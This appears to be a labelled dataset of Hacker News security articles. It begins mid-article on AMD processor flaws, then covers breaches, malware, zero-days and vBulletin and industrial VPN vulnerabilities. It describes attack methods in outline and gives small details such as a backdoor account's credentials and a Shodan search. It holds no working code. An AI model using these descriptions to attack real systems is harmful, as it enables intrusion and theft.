According to researchers, RYZENFALL vulnerabilities allow unauthorized code execution on the Ryzen Secure Processor, eventually letting attackers access protected memory regions, inject malware into the processor itself, and disable SMM protections against unauthorized BIOS reflashing.

Attackers could also use RYZENFALL to bypass Windows Credential Guard and steal network credentials, and then use the stolen data to spread across to other computers within that network (even highly secure Windows corporate networks).

RYZENFALL can also be combined with another issue called MASTERKEY (detailed below) to install persistent malware on the Secure Processor, ""exposing customers to the risk of covert and long-term industrial espionage.""

FALLOUT (v1, v2, v3) AMD Vulnerabilities
These vulnerabilities reside in the bootloader component of EPYC secure processor and allow attackers to read from and write to protected memory areas, such as SMRAM and Windows Credential Guard isolated memory.

FALLOUT attacks only affect servers using AMD's EPYC secure processors and could be exploited to inject persistent malware into VTL1, where the Secure Kernel and Isolated User Mode (IUM) execute code.

Like RYZENFALL, FALLOUT also let attackers bypass BIOS flashing protections, and steal network credentials protected by Windows Credential Guard.
""EPYC servers are in the process of being integrated into data centers around the world, including at Baidu and Microsoft Azure Cloud, and AMD has recently announced that EPYC and Ryzen embedded processors are being sold as high-security solutions for mission-critical aerospace and defense systems,"" researchers say.
""We urge the security community to study the security of these devices in depth before allowing them on mission-critical systems that could potentially put lives at risk.""
CHIMERA (v1, v2) AMD Vulnerabilities
These two vulnerabilities are actually hidden manufacturer backdoors inside AMD's Promontory chipsets that are an integral part of all Ryzen and Ryzen Pro workstations.
One backdoor has been implemented in firmware running on the chip, while the other in the chip's hardware (ASIC), and allow attackers to run arbitrary code inside the AMD Ryzen chipset, or to re-flash the chip with persistent malware.

Since WiFi, network and Bluetooth traffic flows through the chipset, an attacker could exploit the chipset's man-in-the-middle position to launch sophisticated attacks against your device.
""This, in turn, could allow for firmware-based malware that has full control over the system, yet is notoriously difficult to detect or remove. Such malware could manipulate the operating system through Direct Memory Access (DMA), while remaining resilient against most endpoint security products,"" researchers say.
According to the researchers, it may be possible to implement a stealthy keylogger by listening to USB traffic that flows through the chipset, allowing attackers to see everything a victim types on the infected computer.
""Because the latter has been manufactured into the chip, a direct fix may not be possible, and the solution may involve either a workaround or a recall,"" researchers warn.
MASTERKEY (v1, v2, v3) AMD Vulnerabilities
These three vulnerabilities in EPYC and Ryzen (workstation/pro/mobile) processors could allow attackers to bypass hardware validated boot to re-flash BIOS with a malicious update and infiltrate the Secure Processor to achieve arbitrary code execution.

Like RYZENFALL and FALLOUT, MASTERKEY also allows attackers to install stealthy and persistent malware inside AMD Secure Processor, ""running in kernel-mode with the highest possible permissions,"" as well as bypass Windows Credential Guard to facilitate network credential theft.

MASTERKEY vulnerabilities also allow attackers to disable security features such as Firmware Trusted Platform Module (fTPM) and Secure Encrypted Virtualization (SEV).

It's notable that all these vulnerabilities require either low-privilege access, or administrative in some cases, on the targeted system to work.

CTS-Lab researchers gave just 24 hours to the AMD team to look at all vulnerabilities and respond before going public with their details—that's hell quick for any company to understand and patch the critical level issues properly.
While Intel and Microsoft are still managing its patches for Meltdown and Spectre vulnerabilities, the newly discovered vulnerabilities could create similar trouble for AMD and its customers.

So, let's wait and watch when the company comes up with fixes, though the researchers said it could take ""several months to fix"" all the issues.

For more detailed information about the vulnerabilities, you can head on to this paper [PDF] titled, ""Severe Security Advisory on AMD Processors,"" published by CTS-Lab.

",Malware
13 Million MacKeeper Users Hacked — 21 GB of Data Exposed,https://thehackernews.com/2015/12/mackeeper-antivirus-hacked_14.html,"MacKeeper anti-virus company is making headlines today for its lax security that exposed the database of 13 Million Mac users' records including names, email addresses, usernames, password hashes, IP addresses, phone numbers, and system information.

MacKeeper is a suite of software that claims to make Apple Macs more secure and stable, but today the anti-virus itself need some extra protection after a data breach exposed the personal and sensitive information for Millions of its customers.

The data breach was discovered by Chris Vickery, a white hat hacker who was able to download 13 Million customer records by simply entering a selection of IP addresses, with no username or password required to access the data.


21 GB Trove of MacKeeper Customer Data Leaked

31-year-old Vickery said he uncovered the 21 GB trove of MacKeeper customer data in a moment of boredom while searching for openly accessible databases on Shodan – a specialized search engine that looks for virtually anything connected to the Internet – that require no authentication.
""The search engine at Shodan.io had indexed their IPs as running publicly accessible MongoDB instances (as some have already guessed),"" Vickery said in a Reddit post. ""I had never even heard of MacKeeper or Kromtech until last night. I just happened upon it after being bored and doing a random ""port:27017"" search on Shodan.""
As a result, four IP addresses took him straight to a MongoDB database, containing a range of personal information, including:
Customer Names
Email addresses
Usernames
Password hashes
Mobile phone numbers
IP addresses
System information
Software licenses and activation codes

Security Product Using Weak Algorithm to Hash Passwords

Although the passwords were encrypted, Vickery believes that MacKeeper was using weak MD5 hashes to protect its customer passwords, allowing anyone to crack the passwords in seconds using MD5 cracking tools.

The company responded to the issue after Vickery posted it on Reddit, saying that the company had no evidence the data was accessed by malicious parties.
""Analysis of our data storage system shows only one individual gained access performed by the security researcher himself,"" Kromtech, the maker of MacKeeper, said in a statement. ""We have been in communication with Chris, and he has not shared or used the data inappropriately.""
Though the company claims Vickery was the only person to access the MacKeeper users''information; you should still change your MacKeeper passwords and passwords on websites that use the same password.

",Data_Breaches
Mac trojan poses as PDF to open botnet backdoor,https://thehackernews.com/2011/09/mac-trojan-poses-as-pdf-to-open-botnet.html,"Mac trojan poses as PDF to open botnet backdoor


There's another Mac OS X Trojan out in the wild, and it might be heading your way.If you open the file, which could appear as an emailed attachment or as a Web link, the document, written in traditional Chinese ideograms, does indeed display. But a Trojan silently installs itself in the background as you try to sort out centuries-old territorial claims.The Trojan doesn't really do anything yet. But F-Secure, the Finnish security firm that discovered it, notes that it lays the groundwork for much more sophisticated attacks against Macs.

The malware in question has been identified as Trojan-Dropper:OSX/Revir.A, which installs a backdoor, Backdoor:OSX/Imuler.A, onto the user's Mac. Currently, however, the backdoor doesn't communicate with anything. The command-and-control center for this particular malware is apparently a bare Apache installation, which has been sitting at its current domain since May of this year. Because of this, users who might fall victim to this attack aren't likely to see many ill effects for the time being, but that could change if the files end up spreading to a wider audience.

MD5 hashes for the samples:
• Trojan-Dropper:OSX/Revir.A: fe4aefe0a416192a1a6916f8fc1ce484
• Trojan-Downloader:OSX/Revir.A: dfda0ddd62ac6089c6a35ed144ab528e
• Backdoor:OSX/Imuler.A: 22b1af87dc75a69804bcfe3f230d8c9d

Usually, backdoors are employed to communicate with a remote command-and-control (C&C) server, which is capable of instructing the payload to siphon off data from the infected computer back to the attackers. However, F-Secure found that the C&C server is a bare Apache installation, not yet capable of communicating with the backdoor.

",Malware
"Google Details iOS, Chrome, IE Zero-Day Flaws Exploited Recently in the Wild",https://thehackernews.com/2021/07/google-details-ios-chrome-ie-zero-day.html,"Threat intelligence researchers from Google on Wednesday shed more light on four in-the-wild zero-days in Chrome, Safari, and Internet Explorer browsers that were exploited by malicious actors in different campaigns since the start of the year.
What's more, three of the four zero-days were engineered by commercial providers and sold to and used by government-backed actors, contributing to an uptick in real-world attacks. The list of now-patched vulnerabilities is as follows -
CVE-2021-1879: Use-After-Free in QuickTimePluginReplacement (Apple WebKit)
CVE-2021-21166: Chrome Object Lifecycle Issue in Audio
CVE-2021-30551: Chrome Type Confusion in V8
CVE-2021-33742: Internet Explorer out-of-bounds write in MSHTML
Both Chrome zero-days — CVE-2021-21166 and CVE-2021-30551 — are believed to have been used by the same actor, and were delivered as one-time links sent via email to targets located in Armenia, with the links redirecting unsuspecting users to attacker-controlled domains that masqueraded as legitimate websites of interest to the recipients.
The malicious websites took charge of fingerprinting the devices, including collecting system information about the clients, before delivering a second-stage payload.
When Google rolled out a patch for CVE-2021-30551, Shane Huntley, Director of Google's Threat Analysis Group (TAG), revealed that the vulnerability was leveraged by the same actor that abused CVE-2021-33742, an actively exploited remote code execution flaw in Windows MSHTML platform that was addressed by Microsoft as part of its Patch Tuesday update on June 8.
The two zero-days were provided by a commercial exploit broker to a nation-state adversary, which used them in limited attacks against targets in Eastern Europe and the Middle East, Huntley previously added.
Now according to a technical report published by the team, all the three zero-days were ""developed by the same commercial surveillance company that sold these capabilities to two different government-backed actors,"" adding the Internet Explorer flaw was used in a campaign targeting Armenian users with malicious Office documents that loaded web content within the web browser.
Google did not disclose the identities of the exploit broker or the two threat actors that used the vulnerabilities as part of their attacks.
SolarWinds Hackers Exploited iOS Zero-Day
The Safari zero-day, in contrast, concerned a WebKit flaw that could enable adversaries to process maliciously crafted web content that may result in universal cross-site scripting attacks. The issue was rectified by Apple on March 26, 2021.
Attacks leveraging CVE-2021-1879, which Google attributed to a ""likely Russian government-backed actor,"" were executed by means of sending malicious links to government officials over LinkedIn that, when clicked from an iOS device, redirected the user to a rogue domain that served the next-stage payloads.
It's worth noting that the offensive also mirrors a wave of targeted attacks unleashed by Russian hackers tracked as Nobelium, which was found abusing the vulnerability to strike government agencies, think tanks, consultants, and non-governmental organizations as part of an email phishing campaign.
Nobelium, a threat actor linked to the Russian Foreign Intelligence Service (SVR), is also suspected of orchestrating the SolarWinds supply chain attack late last year. It's known by other aliases such as APT29, UNC2452 (FireEye), SolarStorm (Unit 42), StellarParticle (Crowdstrike), Dark Halo (Volexity), and Iron Ritual (Secureworks).
""Halfway into 2021, there have been 33 zero-day exploits used in attacks that have been publicly disclosed this year — 11 more than the total number from 2020,"" TAG researchers Maddie Stone and Clement Lecigne noted. ""While there is an increase in the number of zero-day exploits being used, we believe greater detection and disclosure efforts are also contributing to the upward trend.""

",Malware
Stuxnet 3.0 to be possibility released at MalCon?,https://thehackernews.com/2011/11/stuxnet-30-to-be-possibility-released.html,"Stuxnet 3.0 to be possibility released at MalCon?
Malware coders and security researchers are increasingly looking at MalCon malware convention to show-off their latest creations and research. We were pretty shocked to see in a twitter update today from MalCon, that one of the research paper submissions shortlisted is on possible features of Stuxnet 3.0.

While this may just be a discussion and not a release, it is interesting to note that the speaker Nima Bagheri presenting the paper is from IRAN.

For refreshing your memory, Stuxnet is a computer worm discovered in June 2010. It targets Siemens industrial software and equipment running Microsoft Windows.While it is not the first time that hackers have targeted industrial systems,it is the first discovered malware that spies on and subverts industrial systems, and the first to include a programmable logic controller (PLC) rootkit.

What is alarming is the recent discovery (On 1 September 2011) of a new worm - thought to be related to Stuxnet. The Laboratory of Cryptography and System Security (CrySyS) of the Budapest University of Technology and Economics analyzed the malware, naming the threat Duqu. Symantec, based on this report, continued the analysis of the threat, calling it ""nearly identical to Stuxnet, but with a completely different purpose"", and published a detailed technical paper.The main component used in Duqu is designed to capture information such as keystrokes and system information. The exfiltrated data may be used to enable a future Stuxnet-like attack.

The research paper abstract discusses rootkit features and the malware authors may likely show demonstration at MalCon with new research releated to hiding rootkits and advanced stuxnet like malwares.

Released or not, MalCon certainly leaves plently of room for imagination of the future with computing - and hope we don't get to live the Die Hard 4.0 someday.

",Malware
"EPIC Fail — For the Third Time, Linux Ransomware CRACKED!",https://thehackernews.com/2016/01/linux-ransomware-decryption.html,"Ransomware is now a common practice for money-motivated cyber criminals. It's basically a type of software written in any system-based programming language that has the ability to hijack victim's computer, encrypts files and then ask for a ransom amount to get them back.

One such ransomware dubbed Linux.Encoder targets Linux-powered websites and servers by encrypting MySQL, Apache, and home/root folders associated with the target site and asks for 1 Bitcoin ($453.99) to decrypt those crucial files.

But, the good news is it is very easy to get rid of it.

The Malware author released the third version of the Linux.Encoder ransomware, which security researchers from Bitdefender have managed to crack, yet again, after breaking previous two versions.

However, before the team managed to release the Linux.Encoder decryption tool, the third iteration of Linux.Encoder ransomware, which was first discovered by antivirus maker Dr.Web, has infected a nearly 600 servers worldwide.

Linux.Encoder Decryption Tool

Though victims who got infected by the third version of Linux.Encoder ransomware doesn't have to pay any ransom to get your important files back, and they can simply unlock it using Bitdefender's Linux.Encoder decryption tool to unlock their files.

But the epic part here is even after the successful decryption of its previous Linux.Encoder ransomware versions, the group of ransomware creators, were still not able to write a perfect code for its third version.
""As we expected, the creators of Linux.Encoder have fixed their previous bugs and have come up with a new and improved variant,"" says BitDefender boffin Radu Caragea. ""Luckily for the victims, the new variant of Linux.Encoder is still vulnerable to key recovery attacks.""
It seems that the malware authors of Linux.encoder ransomware are newbie programmers who are just motivated by the success of other popular ransomware such as CryptoWall and CryptoLocker.

Also Read: CryptoWall Ransomware raised $325 Million in Revenue for Its Developer

This incident shows that there could be hundreds of other young newbies who are developing their own ransomware in order to earn money like other organised cyber criminal gangs.

Moreover, it would be easier for law enforcement agencies, like Europol, to trace such immature programmers, as they might not be perfect in hiding themselves.

",Malware
Tether Hacked — Attacker Steals $31 Million of Digital Tokens,https://thehackernews.com/2017/11/tether-bitcoin-hacked.html,"Again some bad news for cryptocurrency users.

Tether, a Santa Monica-based start-up that provides a dollar-backed cryptocurrency tokens, has claimed that its systems have been hacked by an external attacker, who eventually stole around $31 million worth of its tokens.

With a market capitalization of $673 million, Tether is the world's first blockchain-enabled platform to allow the traditional currency to be used like digital currency.

Tether serves as a proxy for the US dollar, Euro (and soon Japanese yen) that can be sent between exchanges including Bitfinex, Poloniex, Omni, GoCoin and other markets.

According to an announcement on the company's official website posted today, the unknown hacker stole the tokens (worth $30,950,010) from the Tether Treasury wallet on November 19 and sent them to an unauthorized Bitcoin address.

The stolen tokens will not be redeemed, but the company is in the process of attempting token recovery in order to prevent them from entering the broader cryptocurrency market.

The attacker is holding stolen funds at the following bitcoin address:
16tg2RJuEPtZooy18Wxn2me2RhUdC94N7r
So, in case, you receive any USDT (that's what Tether calls its platform's USD currency; 1USDT=1USD) ""tokens from the above address, or from any downstream address that receives these tokens, do not accept them, as they have been flagged and will not be redeemable by Tether for USD,"" the company warned.

Bitcoin price dropped as much as 5.4 percent, the most since November 13.

To prevent the stolen coins from moving from the attacker's address, the company has temporarily suspended its back-end wallet service and also provided a new version of its software.
""Accordingly, any and all exchanges, wallets, and other Tether integrators should install this software immediately in order to prevent loss: https://github.com/tetherto/omnicore/releases/tag/0.2.99.s,"" the company said.
The Tether Team has also ensured that Tether issuances have not been affected by this attack, and all of its tokens remain fully backed by assets in the Tether reserve.

Instead, the only tokens that won't be redeemed at this moment are those stolen from Tether treasury yesterday. However, these tokens will be returned to treasury once the software enhancements are in place.

Tether is also undertaking a thorough investigation of the incident in an attempt to prevent similar attacks in the future.

This incident is the latest in a long list of attacks against the cryptocurrency markets. Just last week, about $300 million worth of Ether from dozens of Ethereum wallets was permanently locked up after someone triggered a flaw in Parity multi-sig wallets.

",Cyber_Attack
Malware for xbox Kinect created by 15 years old Indian researchers,https://thehackernews.com/2011/10/malware-for-xbox-kinect-created-by-15.html,"Malware for xbox Kinect created by 15 years old Indian researchers


Indian researchers from MalCon have created a malware that utlizes Microsoft Kinect to secretly capture pictures and upload to a picasa account.

A 15year old Indian security researcher 'Shantanu Gawde' from MalCon Research has created a malware that utilizes the Microsoft xbox kinect controller.
Kinect for Xbox 360, or simply Kinect, is a motion sensing input device by Microsoft for the Xbox 360 video game console. With over 10 million devices sold till date, the kinect holds the Guiness book for world record for the fastest selling consumer electronics device - and is exactly the reason why the malware is a concern.

In recent months, there have been a number of innovative kinect hacks that make use of the kinect using both Open source drivers and the Kinect SDK. The malware, code-named 'gawde' after its creators name, works on Windows 7 to secretly capture pictures of the victim / surroundings from a connected Kinect device and uploads them to a picasa account.

Rajshekhar Murthy, Director at ISAC, (Information Sharing and Anaysis Center), a scientifc non-profit body that holds the International Malware Conference, MalCon said. ""We believe that in coming years, a lot of windows based applications will be developed for Kinect and the device will gain further immense popularity and acceptance- and from a perpective of an attacker, such a popular device can be an exciting target for visual and audio intelligence. At MalCon research labs, we promote proactive security research and the malware utilizing Kinect is only a proof of concept. ""

The kienct malware 'gawde' goes a step ahead and even uses voice recognition to execute a program based on keyword, without the knowledge of the victim. The malware PoC will be demonstrated at the upcoming MalCon 2011 in Mumbai, India.

",Vulnerability
Microsoft Word Zero-Day Vulnerability is being exploited in the Wild,https://thehackernews.com/2014/03/microsoft-word-zero-day-vulnerability.html,"Microsoft warned about a zero-day vulnerability in Microsoft Word that is being actively exploited in targeted attacks and discovered by the Google security team. ""At this time, we are aware of limited, targeted attacks directed at Microsoft Word 2010…"" company said.

According to Microsoft's security advisory, Microsoft Word is vulnerable to a remote code execution vulnerability (CVE-2014-1761) that can be exploited by a specially crafted Rich Text Format (RTF).

An Attacker can simply infect the victim's system with malware if a user opens a malicious Rich Text Format (RTF), or merely preview the message in Microsoft Outlook.

""The issue is caused when Microsoft Word parses specially crafted RTF-formatted data causing system memory to become corrupted in such a way that an attacker could execute arbitrary code.""

Microsoft acknowledged that remote code execution flaw also exists in Microsoft Word 2003, 2007, 2013, Word Viewer and Office for Mac 2011.

Microsoft is working on an official patch, which will be released with the next Patch Tuesday security updates on April 8.

But in the meantime, Windows users can use temporary 'Fix It' tool to patch this vulnerability and also can install Enhanced Mitigation Experience Toolkit (EMET) tool that can mitigate this vulnerability.

Do not download .RTF files from the suspicious websites, and do not open or preview .RTF email attachments from strangers.

",Vulnerability
Two Critical 0-Day Remote Exploits for vBulletin Forum Disclosed Publicly,https://thehackernews.com/2017/12/vbulletin-forum-hacking.html,"Security researchers have discovered and disclosed details of two unpatched critical vulnerabilities in a popular internet forum software—vBulletin—one of which could allow a remote attacker to execute malicious code on the latest version of vBulletin application server.

vBulletin is a widely used proprietary Internet forum software package based on PHP and MySQL database server. It powers more than 100,000 websites on the Internet, including Fortune 500 and Alexa Top 1 million companies websites and forums.

The vulnerabilities were discovered by a security researcher from Italy-based security firm TRUEL IT and an unknown independent security researcher, who disclosed the details of the vulnerabilities by Beyond Security's SecuriTeam Secure Disclosure program.

The vulnerabilities affect version 5 of the vBulletin forum software and are currently unpatched. Beyond Security claims, it tried to contact vBulletin since November 21, 2017, but received no response from the company.

vBulletin Remote Code Execution Vulnerability
The first vulnerability discovered in vBulletin is a file inclusion issue that leads to remote code execution, allowing a remote attacker to include any file from the vBulletin server and execute arbitrary PHP code.

An unauthenticated attacker can trigger the file inclusion vulnerability by sending a GET request to index.php with the routestring= parameter in the request, eventually allowing the attacker to ""create a crafted request to Vbulletin server installed on Windows OS and include any file on the web server.""

The researcher has also provided Proof-of-Concept (PoC) exploit code to show the exploitation of the vulnerability. A Common Vulnerabilities and Exposures (CVE) number has not been assigned to this particular vulnerability.

vBulletin Remote Arbitrary File Deletion Vulnerability

The second vulnerability discovered in the vBulletin forum software version 5 has been assigned CVE-2017-17672 and described as a deserialization issue that an unauthenticated attacker can exploit to delete arbitrary files and even execute malicious code ""under certain circumstances.""

The vulnerability is due to unsafe usage of PHP's unserialize() on user-supplied input, which allows an unauthenticated hacker to delete arbitrary files and possibly execute arbitrary code on a vBulletin installation.

A publicly exposed API, called vB_Library_Template's cacheTemplates() function, allows fetching information on a set of given templates from the database to store them inside a cache variable.
""$temnplateidlist variable, which can come directly from user-input, is directly supplied to unserialize(), resulting in an arbitrary deserialization primitive,"" the advisory explains.
Besides technical details, the advisory also includes Proof-of-Concept (PoC) exploit code to explain the severity of this vulnerability.

We expect the vendor to release the patch for both the security flaws before hackers started exploiting them to target vBulletin installations.

",Vulnerability
Industrial VPN Flaws Could Let Attackers Target Critical Infrastructures,https://thehackernews.com/2020/07/industrial-vpn-security.html,"Cybersecurity researchers have discovered critical vulnerabilities in industrial VPN implementations primarily used to provide remote access to operational technology (OT) networks that could allow hackers to overwrite data, execute malicious code, and compromise industrial control systems (ICS).

A new report published by industrial cybersecurity company Claroty demonstrates multiple severe vulnerabilities in enterprise-grade VPN installations, including Secomea GateManager M2M Server, Moxa EDR-G902, and EDR-G903, and HMS Networks eWon's eCatcher VPN client.

These vulnerable products are widely used in field-based industries such as oil and gas, water utilities, and electric utilities to remotely access, maintain and monitor ICS and field devices, including programmable logic controllers (PLCs) and input/output devices.

According to Claroty researchers, successful exploitation of these vulnerabilities can give an unauthenticated attacker direct access to the ICS devices and potentially cause some physical damage.

In Secomean's GateManager, researchers uncovered multiple security flaws, including a critical vulnerability (CVE-2020-14500) that allows overwriting arbitrary data, executing arbitrary code, or causing a DoS condition, running commands as root, and obtaining user passwords due to the use of a weak hash type.

GateManager is a widely used ICS remote access server deployed worldwide as a cloud-based SaaS solution that allows users to connect to the internal network from the internet through an encrypted tunnel while avoiding server setups.


The critical flaw, identified as CVE-2020-14500, affects the GateManager component, the main routing instance in the Secomea remote access solution. The flaw occurs due to improper handling of some of the HTTP request headers provided by the client.

This flaw can be exploited remotely and without requiring any authentication to achieve remote code execution, which could result in gaining full access to a customer's internal network, along with the ability to decrypt all traffic that passes through the VPN.

In Moxa EDR-G902 and EDR-G903 industrial VPN servers, researchers discovered a stack-based buffer overflow bug (CVE-2020-14511) in the system web server that can be triggered just by sending a specially crafted HTTP request, eventually allowing attackers to carry out remote code execution without the need for any credentials.

Claroty researchers also tested HMS Networks' eCatcher, a proprietary VPN client that connects to the company's eWon VPN device, and found that the product is vulnerable to a critical stack-based buffer overflow (CVE-2020-14498) that can be exploited to achieve remote code execution.

All an attacker needs to do is tricking victims into visiting a malicious website or opening a malicious email containing a specifically crafted HTML element that triggers the flaw in eCatcher, eventually allowing attackers to take complete control of the targeted machine.

All three vendors were notified of the vulnerabilities and responded quickly to release security fixes that patch their products' loopholes.

Secomea users are recommended to update their products to the newly released GateManager versions 9.2c / 9.2i, Moxa users need to update EDR-G902/3 to version v5.5 by applying firmware updates available for the EDR-G902 series and EDR-G903 series, and HMS Networks users are advised to update eCatcher to Version 6.5.5 or later.
",Cyber_Attack
Don't Install Crap ! Bitcoin Mining malware bundled with Potentially Unwanted Programs,https://thehackernews.com/2013/11/dont-install-crap-bitcoin-mining.html,"The increasing public attention of Bitcoin did not go unnoticed by Cyber Criminals who have begun unleashing Bitcoin Mining malware.

Security researchers at Malwarebytes warned about a new malware threat, in which Bitcoin Miners are bundled with third party potentially unwanted programs (PUPs) that come bundled with legitimate applications.
Malware allow cybercriminals to utilize systems' computing resources for their own gain. ""This type of system hijacking is just another way for advertising based software to exploit a user into getting even more cash.""

The malware is found to be using 'jhProtominer' a popular mining software that runs via the command line, to abuse the CPUs and GPUs of infected computers to generate Bitcoins.

Upon further investigation Malwarebytes found that the parent of the Bitcoin miner was ""monitor.exe"", a part of YourFreeProxy application, which ""beacons out constantly, waiting for commands from a remote server, eventually downloading the miner and installing it on the system.""

However, it seems that the company behind the application has a specific clause 3 in the EULA that talks about mathematical calculations similar to the Bitcoin mining operation. This means that the company behind the software can and will install Bitcoin miners and use system resources to perform operations as required to mine Bitcoins and keep the rewards for themselves.

The growing presence of Bitcoin-mining malware reinforced the increasing popularity of the currency. Cyber Criminals always try to find new ways to monetize their malicious activities. Bitcoin generation allows them to do just that.

To be safe, we highly recommend you use a professional Antivirus solution able to find and safely remove malware from your system. Safe computing habits can help prevent system infection and Bitcoin mining, so do not download and install applications from unknown sites.

",Malware
Microsoft released Security Patch for CVE-2013-5065 TIFF Zero-Day vulnerability,https://thehackernews.com/2013/12/microsoft-released-security-patch-for.html,"Microsoft has released 11 Security Patch this Tuesday, including one for CVE-2013-5065 zero-day vulnerability, recently discovered Local privilege escalation vulnerability that could allow a hacker to launch an attack using corrupted TIFF images to take over victims' computers.
FireEye researchers said they found the exploit in the wild being used alongside a PDF-based exploit against a patched Adobe Reader vulnerability.

December's Patch Tuesday update bundle brings five bulletins ranked critical, including a patch for a vulnerability that could allow remote code execution in Internet Explorer and another remote code execution vulnerability in Office and Microsoft Server is also addressed.

Other patches addressing remote code execution vulnerabilities in Lync, all versions of Office and Microsoft Exchange. All supported versions of Windows, from XP to RT and 8.1, are affected by at least one of the critical vulnerabilities.

The Six Security bulletins rated important deal with local elevation of privilege vulnerabilities in Windows and Microsoft Developer Tools.

Users are recommended to upgrade to Windows 7/above or Linux Distributions, and make sure that you have installed the latest versions of Adobe Reader.

Microsoft has also released an updated version (1.163.1657.0) of the Windows Malicious Software Removal Tool.

",Vulnerability
Critical Flaws Found in Amazon FreeRTOS IoT Operating System,https://thehackernews.com/2018/10/amazon-freertos-iot-os.html,"A security researcher has discovered several critical vulnerabilities in one of the most popular embedded real-time operating systems—called FreeRTOS—and its other variants, exposing a wide range of IoT devices and critical infrastructure systems to hackers.

What is FreeRTOS (Amazon, WHIS OpenRTOS, SafeRTOS)?

FreeRTOS is a leading open source real-time operating system (RTOS) for embedded systems that has been ported to over 40 microcontrollers, which are being used in IoT, aerospace, medical, automotive industries, and more.

RTOS has specifically been designed to carefully run applications with very precise timing and a high degree of reliability, every time.

A pacemaker is an excellent example of the real-time embedded system that contracts heart muscle at the right time, a process that can't afford delays, to keep a person alive.

Since late last year, FreeRTOS project is being managed by Amazon, who created Amazon FreeRTOS (a:FreeRTOS) IoT operating system for microcontrollers by upgrading FreeRTOS kernel and some of its components.

Amazon enhanced FreeRTOS functionalities by adding modules for secure connectivity, over the air updates, code signing, AWS cloud support, and more.

Besides Amazon, WITTENSTEIN high integrity systems (WHIS) also maintains two variants of FreeRTOS—a commercial version of FreeRTOS called WHIS OpenRTOS, and a safety-oriented RTOS called SafeRTOS, for use in safety-critical devices.

FreeRTOS Vulnerabilities and Security Patches

Ori Karliner, a security researcher at Zimperium Security Labs (zLabs), discovered a total of 13 vulnerabilities in FreeRTOS's TCP/IP stack that also affect its variants maintained by Amazon and WHIS, as shown below:

The vulnerabilities could allow attackers to crash the target device, leak information from its memory, and the most worrisome, remotely execute malicious code on it, thus taking complete control over the target device.

""During our research, we discovered multiple vulnerabilities within FreeRTOS's TCP/IP stack and in the AWS secure connectivity modules. The same vulnerabilities are present in WHIS Connect TCP/IP component for OpenRTOS\SafeRTOS,"" the researcher says.

According to the researcher, the vulnerabilities affect FreeRTOS versions up to 10.0.1 (with FreeRTOS+TCP), AWS FreeRTOS versions up to 1.3.1, and WHIS OpenRTOS and SafeRTOS (With WHIS Connect middleware TCP/IP components).

Zimperium responsibly reported the vulnerabilities to Amazon, and the company yesterday deployed security patches for AWS FreeRTOS versions 1.3.2 and onwards (latest v1.4.2).

""We also received confirmation from WHIS that they were exposed to the same vulnerabilities, and those were patched together with Amazon,"" zLabs says.

To allow smaller vendors to patch the issues before attackers try to leverage them, zLabs has decided not to disclose technical details of these vulnerabilities to the public for at least a month.

",Vulnerability
Hacker Distributes Backdoored IoT Vulnerability Scanning Script to Hack Script Kiddies,https://thehackernews.com/2017/11/iot-vulnerability-scanner.html,"Nothing is free in this world.

If you are searching for free hacking tools on the Internet, then beware—most freely available tools, claiming to be the swiss army knife for hackers, are nothing but a scam.

For example, Cobian RAT and a Facebook hacking tool that we previously reported on The Hacker News actually could hack, but of the one who uses them and not the one you desire to hack.

Now, a security researcher has spotted another hacking tool—this time a PHP script—which is freely available on multiple popular underground hacking forums and allows anyone to find vulnerable internet-connected IP Cameras running the vulnerable version of GoAhead embedded web-server.

However, after closely analysing the scanning script, Newsky Security researcher Ankit Anubhav found that the tool also contains a secret backdoor, which essentially allows its creator to ""hack the hacker.""
""For an attacker's point of view, it can be very beneficial to hack a hacker,"" Anubhav said.
""For example, if a script kiddie owns a botnet of 10,000 IoT and if he gets hacked, the entire botnet is now in control of the attacker who got control of the system of this script kiddie. Hence, by exploiting one device, he can add thousands of botnets to his army.""
The rise of IoT botnet and release of Mirai's source code—the biggest IoT-based malware threat that emerged last year and took down Dyn DNS service—has encouraged criminal hackers to create their massive botnet either to launch DDoS attacks against their targets or to rent them to earn money.

As shown in the self-explanatory flowchart, this IoT scanning script works in four steps:
First, it scans a set of IP addresses to find GoAhead servers vulnerable to a previously disclosed authentication bypass vulnerability (CVE-2017-8225) in Wireless IP Camera (P2P) WIFI CAM devices.
In the background, it secretly creates a backdoor user account (username: VM | password: Meme123) on the wannabe hacker's system, giving the attacker same privilege as root.
Script also extracts the IP address of the wannabe hacker, allowing script author to access the compromised systems remotely.
Moreover, it also runs another payload on the script kiddie's system, eventually installing a well-known botnet, dubbed Kaiten.
This tool is another example of backdoored hacking tools increasingly being distributed at various underground forums to hack the hacker.

In September, a backdoored Cobian RAT builder kit was spotted on multiple underground hacking forums for free but was caught containing a backdoored module that aimed to provide the kit's authors access to all of the victim's data.

Last year, we reported about another Facebook hacking tool, dubbed Remtasu, that actually was a Windows-based Trojan with the capability to access Facebook account credentials, but of the one who uses it to hack someone else.

The bottom line: Watch out the free online stuff very carefully before using them.

",Malware
Hackers Stole Customers' Payment Card Details From Over 700 Wawa Stores,https://thehackernews.com/2019/12/wawa-store-hacking.html,"Have you stopped at any Wawa convenience store and used your payment card to buy gas or snacks in the last nine months?

If yes, your credit and debit card details may have been stolen by cybercriminals.

Wawa, the Philadelphia-based gas and convenience store chain, disclosed a data breach incident that may have exposed payment card information of thousands of customers who used their cards at about any of its 850 stores since March 2019.

What happened? According to a press release published on the company's website, on 4th March, attackers managed to install malware on its point-of-sale servers used to process customers' payments.

By the time it was discovered by the Wawa information security team on 10th December, the malware had already infected in-store payment processing systems at ""potentially all Wawa locations.""

That means attackers were potentially stealing Wawa customers' payment card information until the malware was entirely removed by its servers on 12th December 2019.

The company also said the malware was present on most locations' point-of-sale systems by approximately 22nd April 2019, although some Wawa locations may not have been affected at all.

What has been compromised? The malware stole credit and debit card information, including card numbers, expiration dates, and customer names on the payment cards used at potentially all of its in-store payment terminals and gas pumps between 4th March 2019, and 12th December 2019.

What's not been compromised? According to the company, debit card PINs, credit card CVV2 numbers, other PINs, driver's license information used to verify age-restricted purchases, and other personal information were not affected by this malware.

Wawa also made it clear that the PoS malware never posed a risk to its ATM cash machines, and at the time of the data breach disclosure, the company was not aware of any unauthorized use of any payment card information as a result of this incident.

How Wawa addressed the payment card breach? The company's information security team fully contained the malware within two days of its discovery, and immediately initiated an investigation by engaging a leading external forensics firm to investigate the incident and verify the extent of the breach.

Wawa also informed law enforcement to support their ongoing criminal investigation and notified payment card companies about the incident.

